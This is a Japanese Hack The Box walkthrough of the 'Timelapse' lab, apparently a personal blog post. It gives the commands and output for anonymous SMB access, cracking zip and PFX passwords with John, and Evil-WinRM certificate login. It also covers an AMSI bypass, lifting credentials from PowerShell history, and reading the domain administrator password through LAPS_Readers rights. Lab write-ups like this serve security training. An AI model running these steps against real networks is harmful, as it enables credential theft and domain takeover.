🌊

Timelapse_HTB

2023/11/30に公開

概要

  • PFX キーを含む zip ファイルを含むパブリックにアクセス可能な SMB 共有へのアクセスが含まれます。
    • この zip ファイルにはパスワードが必要ですが、John を使用すると解読できます。
    • zip ファイルを抽出すると、パスワードで暗号化された PFX ファイルが含まれていることがわかります。
    • このファイルは、PFX ファイルを John が読み取り可能なハッシュ形式に変換することで、John でも収集できます。
    • PFX ファイルから、WinRM でのログインに使用される SSL 証明書と秘密キーを抽出できます。
  • 認証後、svc_deploy ユーザーのログイン資格情報を含む PowerShell 履歴ファイルが見つかります。
  • ユーザーの列挙により、 svc_deploy が LAPS_Readers という名前のグループの一部であることがわかります。
    • LAPS_Readers グループには LAPS でパスワードを管理する機能があり、このグループのすべてのユーザーがドメイン内のマシンのローカル パスワードを読み取ることができるため、この信頼を悪用して管理者のパスワードを取得し、WinRM セッションを取得します。

環境情報

*Evil-WinRM* PS C:\Users\TRX\Desktop> $PSVersionTable
                                                                       
Name                           Value
----                           -----
PSVersion                      5.1.17763.2268
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.17763.2268
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1


*Evil-WinRM* PS C:\Users\TRX\Desktop> Get-ComputerInfo | select WindowsProductName, WindowsVersion, OsHardwareAbstractionLayer

WindowsProductName           WindowsVersion OsHardwareAbstractionLayer
------------------           -------------- --------------------------
Windows Server 2019 Standard 1809

*Evil-WinRM* PS C:\Users\TRX\Desktop> systeminfo


Host Name:                 DC01
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00429-00521-62775-AA158
Original Install Date:     10/23/2021, 10:27:45 AM
System Boot Time:          11/30/2023, 9:44:40 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume3
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 1,779 MB
Virtual Memory: Max Size:  5,503 MB
Virtual Memory: Available: 3,299 MB
Virtual Memory: In Use:    2,204 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    timelapse.htb
Logon Server:              N/A
Hotfix(s):                 6 Hotfix(s) Installed.
                           [01]: KB5009472
                           [02]: KB4512577
                           [03]: KB4535680
                           [04]: KB4589208
                           [05]: KB5011503
                           [06]: KB5009642
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.11.152
                                 [02]: fe80::3dea:6388:165:cad2
                                 [03]: dead:beef::3dea:6388:165:cad2
                                 [04]: dead:beef::151
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Scan

  • command
    nmap -p1-10000 -sC -sV -Pn 10.10.11.152
  • 結果
    ┌──(kali㉿kali)-[~/love]
    └─$ nmap -p1-10000 -sC -sV -Pn 10.10.11.152
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-30 04:54 EST
    Nmap scan report for 10.10.11.152
    Host is up (0.30s latency).
    Not shown: 9989 filtered tcp ports (no-response)
    PORT     STATE SERVICE       VERSION
    53/tcp   open  domain        Simple DNS Plus
    88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-11-30    17:57:10Z)
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:   timelapse.htb0., Site: Default-First-Site-Name)
    445/tcp  open  microsoft-ds?
    464/tcp  open  kpasswd5?
    593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp  open  tcpwrapped
    5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    | ssl-cert: Subject: commonName=dc01.timelapse.htb
    | Not valid before: 2021-10-25T14:05:29
    |_Not valid after:  2022-10-25T14:25:29
    | tls-alpn: 
    |_  http/1.1
    |_ssl-date: 2023-11-30T17:59:24+00:00; +7h59m59s from scanner time.
    |_http-title: Not Found
    9389/tcp open  mc-nmf        .NET Message Framing
    Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
    
    Host script results:
    |_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s
    | smb2-security-mode: 
    |   311: 
    |_    Message signing enabled and required
    | smb2-time: 
    |   date: 2023-11-30T17:58:00
    |_  start_date: N/A
    
    Service detection performed. Please report any incorrect results at   https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 286.14 seconds
    
  • 445が良さそう
    • no password でいけるか確認してみる。

smbclient

smbclient -L //10.10.11.152/
smbclient -L //10.10.11.152/Shares

  • 結果
┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.10.11.152/
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Shares          Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.11.152/Shares  
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Oct 25 11:39:15 2021
  ..                                  D        0  Mon Oct 25 11:39:15 2021
  Dev                                 D        0  Mon Oct 25 15:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 11:48:42 2021

                6367231 blocks of size 4096. 1282917 blocks available
smb: \> cd Dev
smb: \Dev\> ls
  .                                   D        0  Mon Oct 25 15:40:06 2021
  ..                                  D        0  Mon Oct 25 15:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021

                6367231 blocks of size 4096. 1282374 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
smb: \Dev\> quit                                                    
  • ノーパスワードで行けた。
  • winrm_backup.zipわかりやすい名前のファイル確認

password解析

  • zip用のjohn
┌──(kali㉿kali)-[~/Timelapse]
└─$ zip2john winrm_backup.zip > zip.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8

┌──(kali㉿kali)-[~/Timelapse]
└─$ john zip.john -wordlist:/home/kali/Driver/rockyou.txt   
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:09 DONE (2023-11-30 05:02) 0.1027g/s 356979p/s 356979c/s 356979C/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

┌──(kali㉿kali)-[~/Timelapse]
└─$ unzip winrm_backup.zip 
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx
  • pfx用のjohn
┌──(kali㉿kali)-[~/Timelapse]
└─$ python3 /usr/share/john/pfx2john.py legacyy_dev_auth.pfx > pfx.john
                                                                       
┌──(kali㉿kali)-[~/Timelapse]
└─$ ls
key.pem  legacyy_dev_auth.pfx  pfx.john  winrm_backup.zip  zip.john
                                                                       
┌──(kali㉿kali)-[~/Timelapse]
└─$ john pfx.john -wordlist:/home/kali/Driver/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)     
1g 0:00:07:27 DONE (2023-11-30 05:18) 0.002235g/s 7224p/s 7224c/s 7224C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

侵入

  • evil-winrmを使用
┌──(kali㉿kali)-[~/Timelapse]
└─$ evil-winrm -i 10.10.11.152 -c cert.pem -k key.pem -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine       
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                         
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
  • Enum
*Evil-WinRM* PS C:\Users\legacyy\Documents> Bypass-4MSI
                                        
Info: Patching 4MSI, please be patient...
                                        
[+] Success!
*Evil-WinRM* PS C:\Users\legacyy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
*Evil-WinRM* PS C:\Users\legacyy\Documents> net user legacyy
User name                    legacyy
Full Name                    Legacyy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/23/2021 11:17:10 AM
Password expires             Never
Password changeable          10/24/2021 11:17:10 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   11/30/2023 10:22:14 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Development
The command completed successfully.

横展開

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.11.152 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 11:12:37 AM
Password expires             Never
Password changeable          10/26/2021 11:12:37 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 11:25:53 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

権限昇格

  • AdmPwd.PSを使用
    • https://github.com/ztrhgf/LAPS/tree/master/AdmPwd.PS/en-US
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> upload /home/kali/Timelapse/AdmPwd.PS
                                        
Info: Uploading /home/kali/Timelapse/AdmPwd.PS to C:\Users\svc_deploy\Documents\AdmPwd.PS                                                     
                                        
Data: 53980 bytes of 53980 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Import-Module .\AdmPwd.P
S
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Find-AdmPwdExtendedRights -identity *

Name                 DistinguishedName                                                 Status
----                 -----------------                                                 ------
Domain Controllers   OU=Domain Controllers,DC=timelapse,DC=htb                         Delegated
Servers              OU=Servers,DC=timelapse,DC=htb                                    Delegated
Database             OU=Database,OU=Servers,DC=timelapse,DC=htb                        Delegated
Web                  OU=Web,OU=Servers,DC=timelapse,DC=htb                             Delegated
Dev                  OU=Dev,OU=Servers,DC=timelapse,DC=htb                             Delegated
Staff                OU=Staff,DC=timelapse,DC=htb                                      Delegated
Admins               OU=Admins,OU=Staff,DC=timelapse,DC=htb                            Delegated
Dev                  OU=Dev,OU=Staff,DC=timelapse,DC=htb                               Delegated
HelpDesk             OU=HelpDesk,OU=Staff,DC=timelapse,DC=htb                          Delegated
Groups               OU=Groups,OU=Staff,DC=timelapse,DC=htb                            Delegated
More than one object found, search using distinguishedName instead
At line:1 char:1
+ Find-AdmPwdExtendedRights -identity *
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Find-AdmPwdExtendedRights], AmbiguousResultException
    + FullyQualifiedErrorId : AdmPwd.PSTypes.AmbiguousResultException,AdmPwd.PS.FindExtendedRights
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Find-AdmPwdExtendedRights -identity 'Domain Controllers' | select-object ExtendedRightHolders

ExtendedRightHolders
--------------------
{NT AUTHORITY\SYSTEM, TIMELAPSE\Domain Admins, TIMELAPSE\LAPS_Readers}


*Evil-WinRM* PS C:\Users\svc_deploy\Documents> get-admpwdpassword -computername dc01 | Select password

Password
--------
]a/ba4}r6dcVwQ1Bil()sE1d

権限昇格して横展開

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.11.152 -u administrator -p ']a/ba4}r6dcVwQ1Bil()sE1d' -S
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

参考事項

LAPS(Local Administrator Password Solution)

  • Microsoftが提供するセキュリティツールの1つで、Windowsベースのオペレーティングシステムでローカル管理者アカウントのパスワードを効果的に管理するためのソリューションです。

  • LAPSの主な機能と特徴は以下の通りです:

  1. ローカル管理者アカウントの自動パスワード変更:
  • LAPSは、ネットワーク内のすべてのコンピュータで使用されるローカル管理者アカウントのパスワードを自動的に定期的に変更します。これにより、定期的なパスワード変更が自動的に実施され、セキュリティが向上します。
  1. ランダムで生成された強力なパスワード:
  • パスワードはランダムに生成され、セキュアな形式で保存されます。これにより、事前に予測されにくく、攻撃者が推測しにくい強力なパスワードが使用されます。
  1. Active Directoryとの統合:
  • LAPSはActive Directoryに統合されており、変更されたパスワードはActive Directory内で安全に管理されます。これにより、システム管理者はActive Directoryを通じてこれらのパスワードを一元的に管理できます。
  1. アクセス制御と監査:
  • パスワードの閲覧や変更には適切なアクセス制御が施され、監査ログが取られます。これにより、セキュリティ上のリスクを軽減し、不正なアクセスを検知できます。
  1. 複数のドメインコントローラへの対応:
  • 複数のドメインコントローラがある環境でも、LAPSはそれらのすべてのコントローラで機能します。
  • LAPSは、共有されたローカル管理者アカウントのセキュリティリスクを低減し、標的型攻撃や内部脅威からくるセキュリティリスクを防ぐために広く採用されています。

AdmPwd.PS(または AdmPwd.E)

LAPS(Local Administrator Password Solution)の一環として使用されるPowerShellモジュールです。LAPSは、Windowsベースのオペレーティングシステムでローカル管理者アカウントのパスワードを管理するためのソリューションであり、AdmPwd.PSはこれをPowerShellから利用するためのツールです。

AdmPwd.PSを使う手順

  • モジュールのインストール:

    • AdmPwd.PSモジュールをインストールします。インストールは通常、Active Directory内のコンピュータに対して行います。これは、LAPSがActive Directoryと統合されているためです。
      Import-Module .\AdmPwd.PS
  • コマンドの使用:

    • ローカル管理者アカウントのパスワードを取得するためには、Get-AdmPwdPasswordコマンドレットを使用します。
      Get-AdmPwdPassword -ComputerName "ComputerName"
      ComputerNameの部分は、対象のコンピュータの名前に置き換えます。
  • パスワードの変更:

    • Reset-AdmPwdPasswordコマンドレットを使用して、ローカル管理者アカウントのパスワードを変更できます。
      Reset-AdmPwdPassword -ComputerName "ComputerName"
      同様に、ComputerNameの部分は対象のコンピュータの名前に置き換えます。
  • これらのコマンドは、LAPSを導入している環境でのみ使用できます。また、適切な権限が必要です。LAPSは、Active Directoryのスキーマ拡張を伴うため、導入前に慎重に計画を立て、適切な手順に従う必要があります。

別解答(AdmPwd.PSを使わない方法)

*Evil-WinRM* PS C:\Users\legacyy\Desktop> Get-ADComputer -Identity dc01 -property 'ms-mcs-admpwd'


DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :



*Evil-WinRM* PS C:\Users\legacyy\Desktop> 

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer -Identity dc01 -property 'ms-mcs-admpwd'


DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
ms-mcs-admpwd     : ]a/ba4}r6dcVwQ1Bil()sE1d
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :



*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

SMBファイル一括取得

smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Discussion